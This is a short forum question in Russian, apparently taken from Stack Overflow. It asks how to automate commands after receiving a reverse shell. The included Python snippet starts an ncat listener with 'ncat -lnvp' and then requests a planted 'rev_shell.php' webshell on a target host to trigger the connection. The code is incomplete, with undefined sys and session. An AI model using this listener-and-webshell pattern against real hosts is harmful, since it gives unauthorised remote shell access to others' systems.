Как я могу отправить несколько команд после получения обратной оболочки с помощью ncat для автоматизации процесса? Например, получить оболочку и затем автоматически выполнить какую-либо команду, используя только скрипты Python.
from threading import Timer
import os
def interactive_shell(port):
print "(+) listening to reverse shell"
# wait for 1 sec before visiting webshell
t = Timer(1, activate_webshell)
# start thread activity
t.start()
ncat = 'ncat -lnvp %s' % port
os.system(ncat)
def activate_webshell():
target ="http://%s/rev_shell.php" % sys.argv[1]
session.get(target)
Подробнее здесь: https://stackoverflow.com/questions/784 ... using-ncat